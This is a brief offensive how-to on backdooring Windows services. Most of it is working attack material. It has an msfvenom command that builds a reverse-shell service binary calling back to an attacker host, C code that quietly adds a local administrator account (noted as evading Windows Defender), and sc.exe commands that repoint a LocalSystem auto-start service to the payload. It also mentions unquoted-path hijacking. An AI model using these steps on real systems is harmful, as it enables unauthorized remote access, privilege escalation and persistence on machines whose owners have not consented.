Existing Windows services can have backdoors added to them using Metasploit’s msfvenom. Begin by finding a candidate service:

# Get a list of all available services
#
sc.exe query state=all
 
# Query information about an existing service. We want a
# service with three properties:
#
#    1. The BINARY_PATH_NAME points to our payload,
#    2. The START_TYPE is "auto" so it runs without user
#       interaction, and
#    3. The SERVICE_START_NAME (the account which the service
#       runs under) is "LocalSystem".
#
# Note that not every service can be queried, however; the
# ability to do so is controlled by a special per-service
# permission (a Discressionary Access Control List, or DACL).
#
sc.exe qc $SERVICE_NAME

Create a replacement service file using msfvenom (alternately, a backdoor could be added directly to the binary):

msfvenom -p windows/x64/shell_reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f exe-service -o $SERVICE_EXE

The use of exe-service here rather than exe ensures that the correct APIs are available. Alternately, if you’re not trying to be stealthy than a simple application can be used instead (this will run successfully, but register as a failure in the Windows event logs).

#include <stdlib.h>
 
int main() {
	int i;
 
	i = system("net user USERNAME PASSWORD /add");
	i = system("net localgroup administrators USERNAME /add");
 
	return 0;
}

USERNAME and PASSWORD obviously need to be updated to fit the current use case. Unlike msfvenom payloads, as of August 17th 2022 binaries compiled from this code are not detected as malicious by Windows Defender.

Finally, update the service definition:

# NOTE: A space is required after equals signs for this
# command! It's not just a weird typo below!
#
sc.exe config $SERVICE_NAME `
	binPath= "$PATH_TO_REVERSE_SHELL_EXE" `
	start= auto obj= "LocalSystem"`

If the service executable is specified with an unquoted path, then it’s only necessary to place the malicious binary earlier in the implicit search path.